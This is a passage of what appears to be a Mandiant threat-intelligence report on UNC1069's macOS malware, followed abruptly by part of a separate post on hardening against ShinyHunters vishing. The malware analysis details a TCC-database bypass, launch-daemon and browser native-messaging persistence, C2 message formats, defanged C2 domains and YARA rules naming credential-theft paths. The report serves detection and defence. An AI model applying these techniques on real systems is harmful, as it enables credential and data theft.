3. Facilitate the execution of a toehold backdoor, tracked by Mandiant as SILENCELIFT, which beacons system information to a command-and-control (C2 or C&C) server

XProtect 

XProtect is the built-in anti-virus technology included in macOS. Originally relying on signature-based detection only, the XProtect Behavioral Service (XBS) was introduced to implement behavioral-based detection. If a program violates one of the behavioral-based rules, which are defined by Apple, information about the offending program is recorded in the XProtect Database (XPdb), an SQLite 3 database located at /var/protected/xprotect/XPdb.

Unlike signature-based detections, behavioral-based detections do not result in XProtect blocking execution or quarantining of the offending program. 

Mandiant recovered the file paths and SHA256 hashes of programs that had violated one or more of the XBS rules from the XPdb. This included information on malicious programs that had been deleted and could not be recovered. As the XPdb also includes a timestamp of the detection, Mandiant could determine the sequence of events associated with malware execution, from the initial infection chain to the next-stage malware deployments, despite no endpoint detection and response (EDR) product being present on the compromised system. 

Data Harvesting and Persistence

Mandiant identified two disparate data miners that were deployed by the threat actor during their access period: DEEPBREATH and CHROMEPUSH. 

DEEPBREATH, a data miner written in Swift, was deployed via HIDDENCALL—the follow-on backdoor component to HYPERCALL. DEEPBREATH manipulates the Transparency, Consent, and Control (TCC) database to gain broad file system access, enabling it to steal:

1. Credentials from the user's Keychain

2. Browser data from Chrome, Brave, and Edge

3. User data from two different versions of Telegram

4. User data from Apple Notes

DEEPBREATH stages the targeted data in a temporary folder location and compresses the data into a ZIP archive, which was exfiltrated to a remote server via the curl command-line utility. 

Mandiant also identified HYPERCALL deployed an additional malware loader, tracked as part of the code family SUGARLOADER. A persistence mechanism was installed in the form of a launch daemon for SUGARLOADER, which configured the system to execute the malware during the macOS startup process. The launch daemon was configured through a property list (Plist) file, /Library/LaunchDaemons/com.apple.system.updater.plist. The contents of the launch daemon Plist file are provided in Figure 4.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>Label</key>
	<string>com.apple.system.updater</string>
	<key>ProgramArguments</key>
	<array>
	<string>/Library/OSRecovery/SystemUpdater</string>
	</array>
	<key>RunAtLoad</key>
 	<true/>
	<key>KeepAlive</key>
	<false/>
	<key>ExitTimeOut</key>
	<integer>10</integer>
</dict>
</plist>

Figure 4: Launch daemon Plist configured to execute SUGARLOADER

The SUGARLOADER sample recovered during the investigation did not have any internal functionality for establishing persistence; therefore, Mandiant assesses the launch daemon was created manually via access granted by one of the other malicious programs.

Mandiant observed SUGARLOADER was solely used to deploy CHROMEPUSH, a data miner written in C++. CHROMEPUSH deployed a browser extension to Google Chrome and Brave browsers that masqueraded as an extension purposed for editing Google Docs offline. CHROMEPUSH additionally possessed the capability to record keystrokes, observe username and password inputs, and extract browser cookies, completing the data harvesting on the host.

In the Spotlight: UNC1069

UNC1069 is a financially motivated threat actor that is suspected with high confidence to have a North Korea nexus and that has been tracked by Mandiant since 2018. Mandiant has observed this threat actor evolve its tactics, techniques, and procedures (TTPs), tooling, and targeting. Since at least 2023, the group has shifted from spear-phishing techniques and traditional finance (TradFi) targeting towards the Web3 industry, such as centralized exchanges (CEX), software developers at financial institutions, high-technology companies, and individuals at venture capital funds. Notably, while UNC1069 has had a smaller impact on cryptocurrency heists compared to other groups like UNC4899 in 2025, it remains an active threat targeting centralized exchanges and both entities and individuals for financial gain.

Mandiant has observed this group active in 2025 targeting the financial services and the cryptocurrency industry in payments, brokerage, staking, and wallet infrastructure verticals. 

While UNC1069 operators have targeted both individuals in the Web3 space and corporate networks in these verticals, UNC1069 and other suspected Democratic People's Republic of Korea (DPRK)-nexus groups have demonstrated the capability to move from personal to corporate devices using different techniques in the past. However, for this particular incident, Mandiant noted an unusually large amount of tooling dropped onto a single host targeting a single individual. This evidence confirms this incident was a targeted attack to harvest as much data as possible for a dual purpose; enabling cryptocurrency theft and fueling future social engineering campaigns by leveraging victim’s identity and data.

Subsequently, Mandiant identified seven distinct malware families during the forensic analysis of the compromised system, with SUGARLOADER being the only malware family already tracked by Mandiant prior to the investigation.

Technical Appendix

WAVESHAPER

WAVESHAPER is a backdoor written in C++ and packed by an unknown packer that targets macOS. The backdoor supports downloading and executing arbitrary payloads retrieved from its command-and-control (C2 or C&C) server, which is provided via the command-line parameters. To communicate with the adversary infrastructure, WAVESHAPER leverages the curl library for either HTTP or HTTPS, depending on the command-line argument provided.

WAVESHAPER also runs as a daemon by forking itself into a child process that runs in the background detached from the parent session and collects the following system information, which is sent to the C&C server in a HTTP POST request:

• Random victim UID (16 alphanumeric chars)

• Victim username

• Victim machine name

• System time zone

• System boot time using sysctlbyname("kern.boottime")

• Recently installed software

• Hardware model

• CPU information

• OS version

• List of the running processes

Payloads downloaded from the C&C server are saved to a file system location matching the following regular expression pattern: /tmp/\.[A-Za-z0-9]{6}.

HYPERCALL

HYPERCALL is a Go-based downloader designed for macOS that retrieves malicious dynamic libraries from a designated C&C server. The C&C address is extracted from an RC4-encrypted configuration file that must be present on the disk alongside the binary. Once downloaded, the library is reflectively loaded for in-memory execution.

Mandiant observed recognizable influences from SUGARLOADER in HYPERCALL, despite the new downloader being written in a different language (Golang instead of C++) and having a different development process. These similarities include the use of an external configuration file for the C&C infrastructure, the use of the RC4 algorithm for configuration file decryption, and the capability for reflective library injection.

Notably, some elements in HYPERCALL appear to be incomplete. For instance, the presence of configuration parameters that are of no use reveals a lack of technical proficiency by some of UNC1069's malware developers compared to other North Korea-nexus threat actors.

HYPERCALL accepts a single command-line argument to which it expects a C&C host to connect. This command is then saved to the configuration file located at /Library/SystemSettings/.CacheLogs.db. HYPERCALL also leverages a hard-coded 16-byte RC4 key to decrypt the data stored within the configuration file, a pattern observed within other UNC1069 malware families. 

The HYPERCALL configuration instructed the downloader to communicate with the following C&C servers on TCP port 443:

• wss://supportzm[.]com
• wss://zmsupport[.]com

Once connected, the HYPERCALL registers with the C&C using the following message expecting a response message of 1:

{
    "type": "loader",
    "client_id": <client_id>
}

Figure 6: Registration message sent to the C&C server

Once the HYPERCALL has registered with the C&C server, it sends a dynamic library download request:

{
    "type": "get_binary",
    "system": "darwin"
}

Figure 7: Dynamic library download request message sent to the C&C server

The C&C server responds to the request with information on the dynamic library to download, followed by the dynamic library content:

{
    "type": <unknown>,
    "total_size": <total_size>
}

Figure 8: Dynamic library download response message received by the C&C server

The C&C server informs the HYPERCALL client all of the dynamic library content has been sent via the following message:

{
    "type": "end_chunks"
}

Figure 9: Message sent by the C&C server to mark the end of the dynamic library content

After receiving the dynamic library, HYPERCALL sends a final acknowledgement message:

{
    "type": "down_ok"
}

Figure 10: Final acknowledgement message sent by HYPERCALL to the C&C server

HYPERCALL then waits for three seconds before executing the downloaded dynamic library in-memory using reflective loading.

HIDDENCALL

We assess with high confidence that UNC1069 utilizes the HYPERCALL downloader and HIDDENCALL backdoor as components of a single, synchronized attack lifecycle. 

This assessment is supported by forensic observations of HYPERCALL downloading and reflectively injecting HIDDENCALL into system memory. Furthermore, technical examination revealed significant code overlaps between the HYPERCALL Golang binary and HIDDENCALL's Ahead-of-Time (AOT) translation files. Both families utilize identical libraries and follow a distinct "t_" naming convention for functions (such as t_loader and t_), strongly suggesting a unified development environment and shared tradecraft. The use of this custom, integrated tooling suite highlights UNC1069's technical proficiency in developing specialized capabilities to bypass security measures and secure long-term persistence in target networks.

Rosetta Cache Analysis

Mandiant has previously documented how files from the Rosetta cache can be used to prove program execution, as well as how malware identification can be possible through analysis of the symbols present in the AOT translation files.

HYPERCALL leveraged the NSCreateObjectFileImageFromMemory API call to reflectively load a follow-on backdoor component from memory. When NSCreateObjectFileImageFromMemory is called, the executable file that is to be loaded from memory is temporarily written to disk under the /tmp/ folder, with the filename matching the regular expression pattern NSCreateObjectFileImageFromMemory-[A-Za-z0-9]{8}. 

This intrinsic behaviour, combined with the HIDDENCALL payload being compiled for x86_64 architecture, resulted in the creation of a Rosetta cache AOT file for the reflectively loaded Mach-O executable. Through analysis of the Rosetta cache file, Mandiant was able to assess with high confidence that the reflectively loaded Mach-O executable was the follow-on backdoor component, also written in Golang, that Mandiant tracks as HIDDENCALL. 

Listed in Figure 11 through Figure 14 are the symbols and project file paths identified from the AOT file associated with HIDDENCALL execution, as well as the HYPERCALL sample analysed by Mandiant, which were used to assess the functionality of HIDDENCALL.

_t/common.rc4_encode
_t/common.resolve_server
_t/common.load_config
_t/common.save_config
_t/common.generate_uid
_t/common.send_data
_t/common.send_error_message
_t/common.get_local_ip
_t/common.get_info
_t/common.rsp_get_info
_t/common.override_env
_t/common.exec_command_with_timeout
_t/common.exec_command_with_timeout.func1
_t/common.rsp_exec_cmd
_t/common.send_file
_t/common.send_file.deferwrap1
_t/common.add_file_to_zip
_t/common.add_file_to_zip.deferwrap1
_t/common.zip_file
_t/common.zip_file.func1
_t/common.zip_file.deferwrap2
_t/common.zip_file.deferwrap1
_t/common.rsp_zdn
_t/common.rsp_dn
_t/common.receive_file
_t/common.receive_file.deferwrap1
_t/common.unzipFile
_t/common.unzipFile.deferwrap1
_t/common.rsp_up
_t/common.rsp_inject_explorer
_t/common.rsp_inject
_t/common.wipe_file
_t/common.rsp_wipe_file
_t/common.send_cmd_result
_t/common.rsp_new_shell
_t/common.rsp_exit_shell
_t/common.rsp_enter_shell
_t/common.rsp_leave_shell
_t/common.rsp_run
_t/common.rsp_runx
_t/common.rsp_test_conn
_t/common.rsp_check_event
_t/common.rsp_sleep
_t/common.rsp_pv
_t/common.rsp_pcmd
_t/common.rsp_pkill
_t/common.rsp_dir
_t/common.rsp_state
_t/common.rsp_get_cfg
_t/common.rsp_set_cfg
_t/common.rsp_chdir
_t/common.get_file_property
_t/common.get_file_property.func1
_t/common.rsp_file_property
_t/common.do_work
_t/common.do_work.deferwrap1
_t/common.Start
_t/common.init_env
_t/common.get_config_path
_t/common.get_startup_path
_t/common.get_launch_plist_path
_t/common.get_os_info
_t/common.get_process_uid
_t/common.get_file_info
_t/common.get_dir_entries
_t/common.is_locked
_t/common.check_event
_t/common.change_dir
_t/common.run_command_line
_t/common.run_command_line.func1
_t/common.copy_file
_t/common.copy_file.deferwrap2
_t/common.copy_file.deferwrap1
_t/common.setup_startup
_t/common.file_exist
_t/common.session_work
_t/common.exit_shell
_t/common.restart_shell
_t/common.start_shell_reader
_t/common.watch_shell_output_loop
_t/common.watch_shell_output_loop.func1
_t/common.watch_shell_output_loop.func1.deferwrap1
_t/common.exec_with_shell
_t/common.start_shell_reader.func1
_t/common.do_work.jump513
_t/common.g_shoud_fork
_t/common.CONFIG_CRYPT_KEY
_t/common.g_conn
_t/common.g_shell_cmd
_t/common.g_shell_pty
_t/common.stop_reader_chan
_t/common.stop_watcher_chan
_t/common.g_config_file_path
_t/common.g_output_buffer
_t/common.g_cfg
_t/common.g_use_shell
_t/common.g_working
_t/common.g_out_changed
_t/common.g_reason
_t/common.g_outputMutex

Figure 11: Notable Golang symbols from the HIDDENCALL AOT file analyzed by Mandiant

t_loader/common
t_loader/inject_mac
t_loader/inject_mac._Cfunc_InjectDylibFromMemory
t_loader/inject_mac.Inject
t_loader/inject_mac.Inject.func1
t_loader/common.rc4_encode
t_loader/common.generate_uid
t_loader/common.load_config
t_loader/common.rc4_decode
t_loader/common.save_config
t_loader/common.resolve_server
t_loader/common.receive_file
t_loader/common.Start
t_loader/common.check_server_urls
t_loader/common.inject_pe
t_loader/common.init_env
t_loader/common.get_config_path

Figure 12: Notable Golang symbols from the HYPERCALL AOT file analyzed by Mandiant

/Users/mac/Documents/go_t/t/../build/mac/t.a(000000.o)
/Users/mac/Documents/go_t/t/../build/mac/t.a(000004.o)
/Users/mac/Documents/go_t/t/../build/mac/t.a(000005.o)
/Users/mac/Documents/go_t/t/../build/mac/t.a(000006.o)
/Users/mac/Documents/go_t/t/../build/mac/t.a(000007.o)
/Users/mac/Documents/go_t/t/../build/mac/t.a(000008.o)
/Users/mac/Documents/go_t/t/../build/mac/t.a(000009.o)
/Users/mac/Documents/go_t/t/../build/mac/t.a(000010.o)
/Users/mac/Documents/go_t/t/../build/mac/t.a(000011.o)

Figure 13: Project file paths from the HIDDENCALL AOT file analyzed by Mandiant

/Users/mac/Documents/go_t/t_loader/inject_mac/inject.go
/Users/mac/Documents/go_t/t_loader/common/common.go
/Users/mac/Documents/go_t/t_loader/common/common_unix.go
/Users/mac/Documents/go_t/t_loader/exe.go

Figure 14: Project file paths from the HYPERCALL AOT file analyzed by Mandiant

DEEPBREATH

A new piece of macOS malware identified during the intrusion was DEEPBREATH, a sophisticated data miner designed to bypass a key component of macOS privacy: the Transparency, Consent, and Control (TCC) database. 

Written in Swift, DEEPBREATH's primary purpose is to gain access to files and sensitive personal information.

TCC Bypass

Instead of prompting the user for elevated permissions, DEEPBREATH directly manipulates the user's TCC database (TCC.db). It executes a series of steps to circumvent protections that prevent direct modification of the live database:

1. Staging: It leverages the Finder application to rename the user's TCC folder and copies the TCC.db file to a temporary staging location, which allows it to modify the database unchallenged. 

2. Permission Injection: Once staged, the malware programmatically inserts permissions, effectively granting itself broad access to critical user folders like Desktop, Documents, and Downloads.

3. Restoration: Finally, it restores the modified database back to its original location, giving DEEPBREATH the broad file system access it needs to operate.

It should be noted that this technique is possible due to the Finder application possessing Full Disk Access (FDA) permissions, which are the permissions necessary to modify the user-specific TCC database in macOS. 

To ensure its operation remains uninterrupted, the malware uses an AppleScript to re-launch itself in the background using the -autodata argument, detaching from the initial process to continue data collection silently throughout the user's session.

With elevated access, DEEPBREATH systematically targets high-value data:

• Credentials: Steals login credentials from the user keychain (login.keychain-db)

• Browser Data: Copies cookies, login data, and local extension settings from major browsers including Google Chrome, Brave, and Microsoft Edge across all user profiles

• Messaging and Notes: Exfiltrates user data from two different versions of Telegram and also targets and copies database files from Apple Notes

DEEPBREATH is a prime example of an attack vector focused on bypassing core operating system security features to conduct widespread data theft.

SUGARLOADER

SUGARLOADER is a downloader written in C++ historically associated with UNC1069 intrusions.

Based on the observations from this intrusion, SUGARLOADER was solely used to deploy CHROMEPUSH. If SUGARLOADER is run without any command arguments, the binary checks for an existing configuration file located on the victim's computer at /Library/OSRecovery/com.apple.os.config. 

The configuration is encrypted using RC4, with a hard-coded 32-byte key found in the binary. 

Once decrypted, the configuration data contains up to two URLs that point to the next stage. The URLs are queried to download the next stage of the infection; if the first URL responds with a suitable executable payload, then the second URL is not queried. 

The decrypted SUGARLOADER configuration for the sample analysed by Mandiant included the following C&C servers:

• breakdream[.]com:443
• dreamdie[.]com:443

CHROMEPUSH

During this intrusion, a second dataminer was recovered and named CHROMEPUSH. This data miner is written in C++ and installs itself as a browser extension targeting Chromium-based browsers, such as Google Chrome and Brave, to collect keystrokes, username and password inputs, and browser cookies, which it uploads to a web server.

CHROMEPUSH establishes persistence by installing itself as a native messaging host for Chromium-based browsers. For Google Chrome, CHROMEPUSH copies itself to %HOME%/Library/Application Support/Google/Chrome/NativeMessagingHosts/Google Chrome Docs and creates a corresponding manifest file, com.google.docs.offline.json, in the same directory.

{
  "name": "com.google.docs.offline",
  "description": "Native messaging for Google Docs Offline extension",
  "path": "%HOME%/Library/Application Support/Google/Chrome/NativeMessagingHosts/Google Chrome Docs",
  "type": "stdio",
  "allowed_origins": [ "chrome-extension://hennhnddfkgohngcngmflkmejacokfik/" ]
}

Figure 15: Manifest file for Google Chrome native messaging host established by the data miner

By installing itself as a native messaging host, CHROMEPUSH will be automatically executed when the corresponding browser is executed. 

Once executed via the native messaging host mechanism, the data miner creates a base data directory at %HOME%/Library/Application Support/com.apple.os.receipts and performs browser identification. A subdirectory within the base data directory is created with the corresponding identifier, which is based on the detected browser:

• Google Chrome leads to the subdirectory being named "c".

• Brave Browser leads to the subdirectory being named "b".

• Arc leads to the subdirectory being named "a".

• Microsoft Edge leads to the subdirectory being named "e".

• If none of these match, the subdirectory name is set to "u".

CHROMEPUSH reads configuration data from the file location %HOME%/Library/Application Support/com.apple.os.receipts/setting.db. The configuration settings are parsed in JavaScript Objection Notation (JSON) format. The names of the used JSON variables indicate their potential usage:

• cap_on: Assumed to control whether screen captures should be taken

• cap_time: Assumed to control the interval of screen captures

• coo_on: Assumed to control whether cookies should be accessed

• coo_time: Assumed to control the interval of accessing the cookie data

• key_on: Assumed to control whether keypresses should be logged

• C&C URL

CHROMEPUSH stages collected data in temporary files within the %HOME%/Library/Application Support/com.apple.os.receipts/<browser_id>/ directory.

These files are then renamed using the following formats:

• Screenshots: CAYYMMDDhhmmss.dat

• Keylogging: KLYYMMDDhhmmss.dat

• Cookies: CK_<browser_identifier><unknown_id>.dat

CHROMEPUSH stages and sends the collected data in HTTP POST requests to its C&C server. In the sample analysed by Mandiant, the C&C server was identified as hxxp://cmailer[.]pro:80/upload. 

SILENCELIFT

SILENCELIFT is a minimalistic backdoor written in C/C++ that beacons host information to a hard-coded C&C server. The C&C server identified in this sample was identified as support-zoom[.]us.

SILENCELIFT retrieves a unique ID from the hard-coded file path /Library/Caches/.Logs.db. Notably, this is the exact same path used by the CHROMEPUSH. The backdoor also gets the lock screen status, which is sent to the C&C server with the unique ID. 

If executed with root privileges, SILENCELIFT can actively interrupt Telegram communications while beaconing to its C&C server.

Indicators of Compromise

To assist the wider community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a GTI Collection for registered users.

Network-Based Indicators

Host-Based Indicators

YARA Rules

rule G_Backdoor_WAVESHAPER_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		date_created = "2025-11-03"
		date_modified = "2025-11-03"
		md5 = "c91725905b273e81e9cc6983a11c8d60"
		rev = 1
	strings:
		$str1 = "mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)"
		$str2 = "/tmp/.%s"
		$str3 = "grep \"Install Succeeded\" /var/log/install.log | awk '{print $1, $2}'"
		$str4 = "sysctl -n hw.model"
		$str5 = "sysctl -n machdep.cpu.brand_string"
		$str6 = "sw_vers --ProductVersion"
	condition:
		all of them
}

rule G_Backdoor_WAVESHAPER_2 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		date_created = "2025-11-03"
		date_modified = "2025-11-03"
		md5 = "eb7635f4836c9e0aa4c315b18b051cb5"
		rev = 1
	strings:
		$str1 = "__Z10RunCommand"
		$str2 = "__Z11GenerateUID"
		$str3 = "__Z11GetResponse"
		$str4 = "__Z13WriteCallback"
		$str5 = "__Z14ProcessRequest"
		$str6 = "__Z14SaveAndExecute"
		$str7 = "__Z16MakeStatusString"
		$str8 = "__Z24GetCurrentExecutablePath"
		$str9 = "__Z7Execute"
	condition:
		all of them
}

rule G_Downloader_HYPERCALL_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		date_created = "2025-10-24"
		date_modified = "2025-10-24"
		rev = 1
	strings:
		$go_build = "Go build ID:"
		$go_inf = "Go buildinf:"
		$lib1 = "/inject_mac/inject.go"
		$lib2 = "github.com/gorilla/websocket"
		$func1 = "t_loader/inject_mac.Inject"
		$func2 = "t_loader/common.rc4_decode"
		$c1 = { 48 BF 00 AC 23 FC 06 00 00 00 0F 1F 00 E8 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 8B 32 48 8B 52 ?? 48 8B 76 ?? 48 89 CF 48 89 D9 48 89 C3 48 89 D0 FF D6 }
		$c2 = { 48 89 D6 48 F7 EA 48 01 DA 48 01 CA 48 C1 FA 1A 48 C1 FE 3F 48 29 F2 48 69 D2 00 E1 F5 05 48 29 D3 48 8D 04 19 }
	condition:
		(uint32(0) == 0xfeedface or uint32(0) == 0xcafebabe or uint32(0) == 0xbebafeca or uint32(0) == 0xcefaedfe or uint32(0) == 0xfeedfacf or uint32(0) == 0xcffaedfe) and all of ($go*) and any of ($lib*) and any of ($func*) and all of ($c*)
}

rule G_Backdoor_SILENCELIFT_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		md5 = "4e4f2dfe143ba261fd8a18d1c4b58f2e"
		date_created = "2025/10/23"
		date_modified = "2025/10/28"
		rev = 2
	strings:
		$ss1 = "/usr/libexec/PlistBuddy -c \"print :IOConsoleUsers:0:CGSSessionScreenIsLocked\" /dev/stdin 2>/dev/null <<< \"$(ioreg -n Root -d1 -a)\"" ascii fullword
		$ss2 = "pkill -CONT -f" ascii fullword
		$ss3 = "pkill -STOP -f" ascii fullword
		$ss4 = "/Library/Caches/.Logs.db" ascii fullword
		$ss5 = "/Library/Caches/.evt_"
		$ss6 = "{\"bot_id\":\""
		$ss7 = "\", \"status\":"
		$ss8 = "/Library/Fonts/.analyzed" ascii fullword
	condition:
		all of them
}

rule G_APTFIN_Downloader_SUGARLOADER_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		md5 = "3712793d3847dd0962361aa528fa124c"
		date_created = "2025/10/15"
		date_modified = "2025/10/15"
		rev = 1
	strings:
		$ss1 = "/Library/OSRecovery/com.apple.os.config"
		$ss2 = "/Library/Group Containers/OSRecovery"
		$ss4 = "_wolfssl_make_rng"
	condition:
		all of them
}

rule G_APTFIN_Downloader_SUGARLOADER_2 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$m1 = "__mod_init_func\x00lko2\x00"
		$m2 = "__mod_term_func\x00lko2\x00"
		$m3 = "/usr/lib/libcurl.4.dylib"
	condition:
		(uint32(0) == 0xfeedface or uint32(0) == 0xfeedfacf or uint32(0) == 0xcefaedfe or uint32(0) == 0xcffaedfe or uint32(0) == 0xcafebabe) and (all of ($m1, $m2, $m3))
}

rule G_Datamine_DEEPBREATH_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$sa1 = "-fakedel"
		$sa2 = "-autodat"
		$sa3 = "-datadel"
		$sa4 = "-extdata"
		$sa5 = "TccClickJack"
		$sb1 = "com.apple.TCC\" as alias"
		$sb2 = "/TCC.db\" as alias"
		$sc1 = "/group.com.apple.notes\") as alias"
		$sc2 = ".keepcoder.Telegram\")"
		$sc3 = "Support/Google/Chrome/\")"
		$sc4 = "Support/BraveSoftware/Brave-Browser/\")"
		$sc5 = "Support/Microsoft Edge/\")"
		$sc6 = "& \"/Local Extension Settings\""
		$sc7 = "& \"/Cookies\""
		$sc8 = "& \"/Login Data\""
		$sd1 = "\"cp -rf \" & quoted form of "
	condition:
		(uint32(0) == 0xfeedfacf) and 2 of ($sa*) and 2 of ($sb*) and 3 of ($sc*) and 1 of ($sd*)
}

rule G_Datamine_CHROMEPUSH_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		date_created = "2025-11-06"
		date_modified = "2025-11-06"
		rev = 1
	strings:
		$s1 = "%s/CA%02d%02d%02d%02d%02d%02d.dat"
		$s2 = "%s/tmpCA.dat"
		$s3 = "mouseStates"
		$s4 = "touch /Library/Caches/.evt_"
		$s5 = "cp -f"
		$s6 = "rm -rf"
		$s7 = "keylogs"
		$s8 = "%s/KL%02d%02d%02d%02d%02d%02d.dat"
		$s9 = "%s/tmpKL.dat"
		$s10 = "OK: Create data.js success"
	condition:
		(uint32(0) == 0xfeedface or uint32(0) == 0xcefaedfe or uint32(0) == 0xfeedfacf or uint32(0) == 0xcffaedfe or uint32(0) == 0xcafebabe or uint32(0) == 0xbebafeca or uint32(0) == 0xcafebabf or uint32(0) == 0xbfbafeca) and 8 of them
}

Google Security Operations (SecOps)

Google SecOps customers have access to these broad category rules and more under the “Mandiant Intel Emerging Threats” and “Mandiant Hunting Rules” rule packs. The activity discussed in the blog post is detected in Google SecOps under the rule names:

• Application Support com.apple Suspicious Filewrites

• Chrome Native Messaging Directory

• Chrome Service Worker Directory Deletion

• Database Staging in Library Caches

• macOS Chrome Extension Modification

• macOS Notes Database Harvesting

• macOS TCC Database Manipulation

• Suspicious Access To macOS Web Browser Credentials

• Suspicious Audio Hardware Fingerprinting

• Suspicious Keychain Interaction

• Suspicious Library Font Directory File Write

• Suspicious Multi-Stage Payload Loader

• Suspicious Permissions on macOS System File

• Suspicious SoftwareUpdate Masquerading

• Suspicious TCC Database Modification

• Suspicious Web Downloader Pipe to ZSH

• Telegram Session Data Staging

Introduction

Mandiant is tracking a significant expansion and escalation in the operations of threat clusters associated with ShinyHunters-branded extortion. As detailed in our companion report, 'Vishing for Access: Tracking the Expansion of ShinyHunters-Branded SaaS Data Theft', these campaigns leverage evolved voice phishing (vishing) and victim-branded credential harvesting to successfully compromise single sign-on (SSO) credentials and enroll unauthorized devices into victim multi-factor authentication (MFA) solutions.

This activity is not the result of a security vulnerability in vendors' products or infrastructure. Instead, these intrusions rely on the effectiveness of social engineering to bypass identity controls and pivot into cloud-based software-as-a-service (SaaS) environments.

This post provides actionable hardening, logging, and detection recommendations to help organizations protect against these threats. Organizations responding to an active incident should focus on rapid containment steps, such as severing access to infrastructure environments, SaaS platforms, and the specific identity stores typically used for lateral movement and persistence. Long-term defense requires a transition toward phishing-resistant MFA, such as FIDO2 security keys or passkeys, which are more resistant to social engineering than push-based or SMS authentication.

Containment

Organizations responding to an active or suspected intrusion by these threat clusters should prioritize rapid containment to sever the attacker’s access to prevent further data exfiltration. Because these campaigns rely on valid credentials rather than malware, containment must prioritize the revocation of session tokens and the restriction of identity and access management operations.

Immediate Containment Actions

• Revoke active sessions: Identify and disable known compromised accounts and revoke all active session tokens and OAuth authorizations across IdP and SaaS platforms.

• Restrict password resets: Temporarily disable or heavily restrict public-facing self-service password reset portals to prevent further credential manipulation.  Do not allow the use of self-service password reset for administrative accounts.

• Pause MFA registration: Temporarily disable the ability for users to register, enroll, or join new devices to the identity provider (IdP).

• Limit remote access: Restrict or temporarily disable remote access ingress points, such as VPNs, or Virtual Desktops Infrastructure (VDI), especially from untrusted or non-compliant devices.

• Enforce device compliance: Restrict access to IdPs and SaaS applications so that authentication can only originate from organization-managed, compliant devices and known trusted egress locations.

• Implement 'shields up' procedures: Inform the service desk of heightened risk and shift to manual, high-assurance verification protocols for all account-related requests. In addition, remind technology operations staff not to accept any work direction via SMS messages from colleagues.

During periods of heightened threat activity, Mandiant recommends that organizations temporarily route all password and MFA resets through a rigorous manual identity verification protocol, such as the live video verification described in the Hardening section of this post. When appropriate, organizations should also communicate with end-users, HR partners, and other business units to stay on high-alert during the initial containment phase. Always report suspicious activity to internal IT and Security for further investigation.

1. Hardening 

Defending against threat clusters associated with ShinyHunters-branded extortion begins with tightening manual, high-risk processes that attackers frequently exploit, particularly password resets, device enrollments, and MFA changes.

Help Desk Verification

Because these campaigns often target human-driven workflows through social engineering, vishing, and phishing, organizations should implement stronger, layered identity verification processes for support interactions, especially for requests involving account changes such as password resets or MFA modifications. Threat actors have also been known to impersonate third-party vendors to voice phish (vish) help desks and persuade staff to approve or install malicious SaaS application registrations.

As a temporary measure during heightened risk, organizations should require verification that includes the caller’s identity, a valid ID, and a visual confirmation that the caller and ID match. 

To implement this, organizations should require help desk personnel to:

• Require a live video call where the user holds a physical government ID next to their face. The agent must visually verify the match.

• Confirm the name on the ID matches the employee’s corporate record.

• Require out-of-band approval from the user's known manager before processing the reset.

• Reject requests based solely on employee ID, SSN, or manager name. ShinyHunters possess this data from previous breaches and may use it to verify their identity.

• If the user calls the helpdesk for a password reset, never perform the reset without calling the user back at a known good phone number to prevent spoofing.

• If a live video call is not possible, require an alternative high-assurance path. It may be required for the user to come in person to verify their identity.

• Optionally, after a completed interaction, the help desk agent can send an email to the user’s manager indicating that the change is complete with a picture from the video call of the user who requested the change on camera.

Special Handling for Third-Party Vendor Requests

Mandiant has observed incidents where attackers impersonate support personnel from third-party vendors to gain access. In these situations, the standard verification principals may not be applicable.

Under no circumstances should the Help Desk move forward with allowing access. The agent must halt the request and follow this procedure:

• End the inbound call without providing any access or information

• Independently contact the company's designated account manager for that vendor using trusted, on-file contact information

• Require explicit verification from the account manager before proceeding with any request

End User Education

Organizations should educate end users on best practices especially when being reached out directly without prior notice.

• Conduct internal Vishing and Phishing exercises to validate end user adoption of security best practices.

• Educate that passwords should not be shared, regardless of who is asking for it.

• Encourage users to exercise extreme caution when being requested to reset their own passwords and MFA; especially during off-business hours.

• If they are unsure of the person or number they are being contacted by, have them cease all communications and contact a known support channel for guidance.

Identity & Access Management

Organizations should implement a layered series of controls to protect all types of identities. Access to cloud identity providers (IdPs), cloud consoles, SaaS applications, document and code repositories should be restricted since these platforms often become the control plane for privilege escalation, data access, and long-term persistence.

This can be achieved by:

• Limiting access to trusted egress points and physical locations
• Review and understand what “local accounts” exist within SaaS platforms:
  • Ensure any default username/passwords have been updated according to the organization’s password policy.
  • Limit the use of ‘local accounts’ that are not managed as part of the organization’s primary centralized IdP.
• Reducing the scope of non-human accounts (access keys, tokens, and non-human accounts)
  • Where applicable, organizations should implement network restrictions across non-human accounts. 
  • Activity correlating to long-lived tokens (OAuth / API) associated with authorized / trusted applications should be monitored to detect abnormal activity.
• Limit access to organization resources from managed and compliant devices only. Across managed devices:
  • Implement device posture checks via the Identity Provider.
  • Block access from devices with prolonged inactivity.
  • Block end users ability to enroll personal devices. 
• Where access from unmanaged devices is required, organizations should: 
  • Limit non-managed devices to web only views.
  • Disable ability to download/store corporate/business data locally on unmanaged personal devices.
  • Limit session durations and prompt for re-authentication with MFA.
• Rapid enhancement to MFA methods, such as:
  • Removal of SMS, phone call, push notification, and/or email as authentication controls.
  • Requiring strong, phishing resistant MFA methods such as:
    • Authenticator apps that require phishing resistant MFA (FIDO2 Passkey Support may be added to existing methods such as Microsoft Authenticator.)
    • FIDO2 security keys for authenticating identities that are assigned privileged roles.
  • Enforce multi-context criteria to enrich the authentication transaction.
    • Examples include not only validating the identity, but also specific device and location attributes as part of the authentication transaction.
      • For organizations that leverage Google Workspace, these concepts can be enforced by using context-aware access policies.
      • For organizations that leverage Microsoft Entra ID, these concepts can be enforced by using a Conditional Access Policy.
      • For organizations that leverage Okta, these concepts can be enforced by using Okta policies and rules.

